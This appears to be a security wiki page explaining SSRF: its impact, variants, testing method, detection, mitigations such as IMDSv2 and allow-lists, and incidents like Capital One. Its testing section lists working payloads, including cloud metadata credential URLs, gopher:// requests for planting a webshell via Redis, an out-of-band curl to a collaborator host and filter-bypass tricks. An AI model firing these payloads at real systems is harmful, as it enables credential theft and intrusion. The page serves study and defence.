Skip to content

SSRF (Server-Side Request Forgery)

The attacker makes the server issue requests to a destination they choose. Instead of talking to the Internet, the server is forced to talk to internal resources unreachable from outside: services on localhost, the internal network, or the cloud provider’s metadata endpoints. Because the request goes out with the server’s identity and network position, SSRF crosses the perimeter: it’s the path by which some of the largest cloud infrastructures have fallen.

flowchart LR
    A[Attacker] -->|"attacker-controlled URL"| S[Vulnerable server]
    S -->|"internal request"| I["Internal service / 169.254.169.254"]
    I -->|"response or credentials"| S
    S -->|"reflected data"| A
  • Access to internal services with no authentication (admin panels, databases, queues, Redis, Elasticsearch, Kubernetes API).
  • Cloud credentials: the metadata endpoint exposes the instance role’s temporary tokens → cloud account access (S3, EC2, IAM).
  • Scanning and pivoting across the internal network (discover hosts/ports by codes/timing).
  • Local file reads (file://).
  • RCE against internal services via gopher:// (Redis, MySQL, SMTP, FastCGI).

It appears wherever the app takes a URL, host or IP from the user: “import from URL”, webhooks, link previewers, HTML→PDF / SVG converters, remote image loading, SSO/jwks_uri, configurable API clients, XML parsers (XXE→SSRF). The server’s HTTP client follows the URL as-is; controlling that URL (or part) controls who the server talks to.

  • Basic (in-band): the internal resource’s response returns to the attacker.
  • Blind: you don’t see the response; confirm with OOB interaction (DNS/HTTP to your collaborator).
  • Semi-blind: you don’t see the body, but you see signals (status codes, timing, sizes) to infer (internal scanning, route existence).
  • Find parameters accepting URL/host/IP, including indirect ones: webhooks, “import from URL”, remote avatar, SSO jwks_uri/discovery, PDF generation, fields that end in a server-side request.
  • Point them at your own server / Burp Collaborator / interactsh and watch whether the app server contacts you → confirms SSRF even blind, and tells you whether there’s DNS, HTTP, or both.
Ventana de terminal
# 1) Confirm the server makes the request (OOB)
curl "https://app.tld/fetch?url=http://YOUR_COLLAB.oob.tld/"
# 2) Internal services (authorized scope only)
http://127.0.0.1:6379/ # Redis
http://127.0.0.1:9200/ # Elasticsearch
http://[::1]/ # IPv6 loopback
http://127.0.0.1:80,8080,8000 # internal panels (probe by codes/timing)
# AWS (instance role -> temporary credentials)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>
# GCP (requires a header)
http://metadata.google.internal/computeMetadata/v1/ (Metadata-Flavor: Google)
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01 (Metadata: true)
# DigitalOcean / Alibaba / Oracle Cloud
http://169.254.169.254/metadata/v1/ (DO)
http://100.100.100.200/latest/meta-data/ (Alibaba)
# gopher:// lets you craft raw TCP packets to internal services
gopher://127.0.0.1:6379/_<Redis commands> # e.g. write a cron/webshell
gopher://127.0.0.1:3306/_<MySQL handshake>
# Generate payloads with Gopherus (Redis, MySQL, FastCGI, SMTP...)

Block-lists for “localhost/127.0.0.1” are bypassed with alternative representations and parser tricks:

127.0.0.1 -> 127.1 -> 2130706433 (decimal) -> 0x7f000001 (hex) -> 0177.0.0.1 (octal)
127.0.0.1.nip.io # DNS resolving to internal
http://evil.tld/redirect -> 302 to http://169.254.169.254/ # redirect the server follows
http://expected.tld@169.254.169.254/ # userinfo
http://169.254.169.254#.expected.tld/ # fragment
http://[::ffff:169.254.169.254]/ # IPv4-mapped IPv6

Also DNS rebinding (low TTL: pass validation with a public IP and, on connect, resolve to internal).

Burp Collaborator / interactsh (OOB), SSRFmap, Gopherus (gopher payloads), and curl for manual work.

Role-credential theft → cloud account takeover; internal data access; pivoting; and, via gopher, RCE on internal services. An SSRF in a PDF converter can yield local file reads on the render server.

  • Outbound requests from the application server to private/link-local ranges (169.254.169.254, 127.0.0.0/8, 10/8, 172.16/12, 192.168/16) or uncatalogued domains.
  • Anomalous DNS from the app server (rebinding), queries to OOB domains.
  • Access to the metadata endpoint from processes that shouldn’t use it.

Application-segment proxy/egress logs, DNS, network flows (NetFlow), and IMDS access logs.

  1. Allow-list permitted destinations/schemes (specific domains and ports), not a block-list.
  2. Resolve the name and validate the IP against private/link-local ranges after resolving, and re-validate after each redirect (or don’t follow redirects). Mitigates rebinding and parser tricks.
  3. Network segmentation: the fetching server must not reach metadata or sensitive internal services (controlled egress).
  4. Cloud metadata: require IMDSv2 (PUT token session + hop-limit), which blocks simple SSRF to 169.254.169.254; minimize the instance role’s permissions.
  5. Disable dangerous schemes (file:, gopher:, dict:, ftp:) in the HTTP client.

Immediately rotate exposed role credentials, review their use in CloudTrail/logs, enforce IMDSv2 and segmentation, and patch the endpoint.

  • Capital One (2019) — SSRF against the AWS metadata endpoint (IMDSv1) to obtain role credentials and dump data of ~100 million customers from S3. The case that popularized IMDSv2.
  • Microsoft Exchange — ProxyLogon (CVE-2021-26855, 2021) — SSRF as the first link of a chain toward RCE; compromised tens of thousands of servers.
  • GitLab (CVE-2021-22214) — unauthenticated SSRF in the import feature.
  • Grafana, Jira and multiple proxies/converters — historical SSRFs for internal access or metadata reads.

Product-specific CVEs in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).

  • Direct and indirect URL/host-accepting parameters identified.
  • OOB interaction confirmed (including blind) with a collaborator.
  • Cloud metadata (IMDSv1) and internal services tested, in authorized scope.
  • Bypasses tested (alternative IP, rebinding, redirect, userinfo, IPv6).
  • gopher→RCE evaluated if internal services are reachable.
  • Impact documented (credentials/internal service reached) without abuse.